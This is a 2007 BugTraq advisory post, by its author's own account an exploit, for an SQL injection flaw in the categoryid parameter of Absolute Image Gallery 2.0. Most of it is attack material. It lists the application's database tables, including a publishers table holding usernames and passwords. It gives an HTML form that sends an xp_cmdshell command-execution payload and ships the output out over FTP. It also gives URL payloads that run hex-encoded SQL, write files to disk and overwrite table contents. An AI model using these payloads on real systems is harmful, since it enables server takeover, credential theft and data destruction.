BugTraq
Absolute Image Gallery Gallery.ASP (categoryid) MSSQL Injection Exploit Mar 15 2007 10:14PM
UniquE UniquE-Key Org
Absolute Image Gallery Gallery.ASP (categoryid) MSSQL Injection Exploit

Type :

SQL Injection

Release Date :

{2007-03-15}

Product / Vendor :

Absolute Image Gallery

http://www.xigla.com/absoluteig/

Bug :

http://localhost/script/gallery.asp?action=viewimage&categoryid=-SQL Inj-

------------------------------------------------------------------------
---------------------------------------------------------------------

Script Table/Colon Name :

------------------------------------------------------------------------
---------------------------------------------------------------------

Table Name : articlefiles

fileid
filetitle
filename
articleid
filetype
filecomment
urlfile

------------------------------------------------------------------------
---------------------------------------------------------------------

Table Name : articles

articleid
posted
lastupdate
headline
headlinedate
startdate
enddate
source
summary
articleurl
article
status
autoformat
publisherid
clicks
editor
relatedid

------------------------------------------------------------------------
---------------------------------------------------------------------

Table Name : iArticlesZones

articleid
zoneid

------------------------------------------------------------------------
---------------------------------------------------------------------

Table Name : plugins

pluginid
pplname
pplfile
ppldescription

------------------------------------------------------------------------
---------------------------------------------------------------------

Table Name : PPL1reviews

reviewid
articleid
name
reviewdate
review
comments
isannonymous

------------------------------------------------------------------------
---------------------------------------------------------------------

Table Name : publishers

publisherid
name
username
password
email
additional
plevel

------------------------------------------------------------------------
---------------------------------------------------------------------

Table Name : publisherszones

publisherid
zoneid

------------------------------------------------------------------------
---------------------------------------------------------------------

Table Name : xlaAIGcategories

categoryid
catname
catdesc
supercatid
lastupdate
catpath
images
allowupload

------------------------------------------------------------------------
---------------------------------------------------------------------

Table Name : xlaAIGimages

imageid
imagename
imagedesc
imagefile
imagedate
imagesize
totalrating
totalreviews
hits
categoryid
status
uploadedby
additionalinfo
embedhtml
keywords
copyright
credit
source
datecreated
email
infourl

------------------------------------------------------------------------
---------------------------------------------------------------------

Table Name : xlaAIGpostcards

dateposted
postcardid
imageid
bgcolor
bordercolor
fonttype
fontcolor
recipientname
recipientemail
greeting
bgsound
sendername
senderemail
sendermsg

------------------------------------------------------------------------
---------------------------------------------------------------------

Table Name : zones

zonename
description
template
articlespz
zonefont
fontsize
fontcolor
showsource
showsummary
showdates
showtn
textalign
displayhoriz
cellcolor
targetframe

------------------------------------------------------------------------
---------------------------------------------------------------------

MSSQL CMD Injection Exploit(For DBO Users) :

<title>Absolute Image Gallery MSSQL CMD Injection Exploit</title>
<body bgcolor="#000000">
<form name="Form" method="get" action="http://localhost/script/gallery.asp">
<center><font face="Verdana" size="2" color="#FF0000"><b>Absolute Image Gallery MSSQL CMD Injection Exploit</b></font><br><br></center>
<center><font face="Verdana" size="1" color="#00FF00"><b>Note : For DBO Users</b></font><br><br></center>
<center><font face="Verdana" size="1" color="#00FF00"><b>Example :</b></font><br><br></center>
<tr>
<center><img src="http://img382.imageshack.us/img382/7867/dirav8.jpg"></center><br>
<center><td align="right"><font face="Arial" size="1" color="#00FF00">Command Exec :</td>
<td> </td>
<td><input name="action=viewimage&categoryid=-1" type="text" value=";exec master..xp_cmdshell 'dir c:\ > cmd.txt';CREATE TABLE cmd (txt varchar(8000));BULK INSERT cmd FROM 'cmd.txt';exec+sp_makewebtask+'ftp://127.0.0.1/public/file.txt','select+
*+from+cmd';--" class="inputbox" style="color: #000000" style="width:300px; "></td>
</tr>
<tr>
<td align="right"><font face="Arial" size="1" color="#00FF00">Search Board</td>
<td> </td>
<td>
<select name="">
<option value="0">(CMD)</option>
</select> <br><br>
<input type="submit" value="Apply"></center>
</td>
</tr>
</table>
</form>
<center><font face="Verdana" size="2" color="#FF0000"><b>UniquE-Key{UniquE-Cracker}</b></font>
<br>
<font face="Verdana" size="2" color="#FF0000"><b>UniquE (at) UniquE-Key (dot) ORG [email concealed]</b></font>
<br>
<font face="Verdana" size="2" color="#FF0000"><b>http://UniquE-Key.ORG</b></font></center>

------------------------------------------------------------------------
---------------------------------------------------------------------

Code Injection(For DBO Users) :

Add Table : http://localhost/script/gallery.asp?action=viewimage&categoryid=-1;Creat
e+table+code+(txt+varchar(8000),id+int);--

ASCII Code Add Database : http://localhost/script/gallery.asp?action=viewimage&categoryid=-1;decla
re+@q+varchar(8000)+select+@q=0x696E7365727420696E746F2066736F3737372874
78742C6964292076616C7565732827272C3129+exec(@q);--

Code Injection : http://localhost/script/gallery.asp?action=viewimage&categoryid=-1;decla
re+@txt+varchar(8000);select+@txt+=+(select+top+1+txt+from+code+where+id
+=+1);declare+@o+int,+@f+int,+@t+int,+@ret+int+exec+sp_oacreate+'scripti
ng.filesystemobject',+@o+out+exec+sp_oamethod+@o,+'createtextfile',+@f+o
ut,+'c:/host',+1+exec+@ret+=+sp_oamethod+@f,+'writeline',+NULL,+@txt;--

------------------------------------------------------------------------
---------------------------------------------------------------------

UPDATE(ALL users) :

http://localhost/script/gallery.asp?action=viewimage&categoryid=-1 UPDATE table SET colon = 'x';--

------------------------------------------------------------------------
---------------------------------------------------------------------

Tested :

Absolute Image Gallery 2.0

Vulnerable :

Absolute Image Gallery 2.0

Author :

UniquE-Key{UniquE-Cracker}
UniquE(at)UniquE-Key.Org
http://www.UniquE-Key.Org

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus